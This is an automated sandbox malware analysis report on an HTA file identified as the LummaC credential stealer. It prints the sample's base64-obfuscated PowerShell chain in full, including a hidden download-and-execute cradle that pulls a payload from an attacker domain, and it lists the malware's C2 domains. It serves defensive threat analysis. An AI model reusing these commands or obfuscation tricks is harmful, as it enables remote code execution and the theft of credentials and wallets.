Edit tour

Windows Analysis Report
s7.mp4.hta

Overview

General Information

Sample name:	s7.mp4.hta
Analysis ID:	1586536
MD5:	b89e810109eee789002356c8bf42cdbc
SHA1:	b15b5bedd8474a827ec6af8e7dab5a99dfb6b2f7
SHA256:	a2aeba35d01759a37002a09c830c3435d01807a7d889a6e9142c276587ce9ea8
Tags:	htaLummaStealeruser-lontze7
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Powershell Download and Execute IEX

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 4328 cmdline: mshta.exe "C:\Users\user\Desktop\s7.mp4.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 5820 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlBQXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7'))) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2300 cmdline: "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 6524 cmdline: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5776 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 5936 cmdline: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8108 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

backgroundTaskHost.exe (PID: 5776 cmdline: "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca MD5: DA7063B17DBB8BBB3015351016868006)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["crowdwarek.shop", "chipdonkeruz.shop", "versersleep.shop", "hoppricerwir.cyou", "handscreamny.shop", "apporholis.shop", "soundtappysk.shop", "femalsabler.shop", "robinsharez.shop"], "Build id": "yJEcaG--singl7"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 5820	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1c760:$b2: ::FromBase64String( 0x1c92a:$b2: ::FromBase64String( 0x316a9:$b2: ::FromBase64String( 0x3186b:$b2: ::FromBase64String( 0x31d48:$b2: ::FromBase64String( 0x31f0c:$b2: ::FromBase64String( 0x82397:$b2: ::FromBase64String( 0x82559:$b2: ::FromBase64String( 0x82a36:$b2: ::FromBase64String( 0x82bfa:$b2: ::FromBase64String( 0x85449:$b2: ::FromBase64String( 0x8560b:$b2: ::FromBase64String( 0x85ae8:$b2: ::FromBase64String( 0x85cac:$b2: ::FromBase64String( 0xc44b9:$b2: ::FromBase64String( 0xc467d:$b2: ::FromBase64String( 0xdd138:$b2: ::FromBase64String( 0xdd2fc:$b2: ::FromBase64String( 0xe4cb7:$b2: ::FromBase64String( 0xe4e81:$b2: ::FromBase64String( 0x1081c0:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 5776	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 5936	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 5936	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xaaac44:$b2: ::FromBase64String( 0x5ef27f:$s1: -join 0x5fc354:$s1: -join 0x5ff726:$s1: -join 0x5ffdd8:$s1: -join 0x6018c9:$s1: -join 0x603acf:$s1: -join 0x6042f6:$s1: -join 0x604b66:$s1: -join 0x6052a1:$s1: -join 0x6052d3:$s1: -join 0x60531b:$s1: -join 0x60533a:$s1: -join 0x605b8a:$s1: -join 0x605d06:$s1: -join 0x605d7e:$s1: -join 0x605e11:$s1: -join 0x606077:$s1: -join 0x60820d:$s1: -join 0x616c57:$s1: -join 0x62c39f:$s1: -join
Process Memory Space: powershell.exe PID: 8108	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Other

Source	Rule	Description	Author	Strings
amsi32_5776.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi32_5936.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlBQXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7'))), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0Jz

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5776, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))" , ProcessId: 5936, ProcessName: powershell.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;", CommandLine: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2300, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcw

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

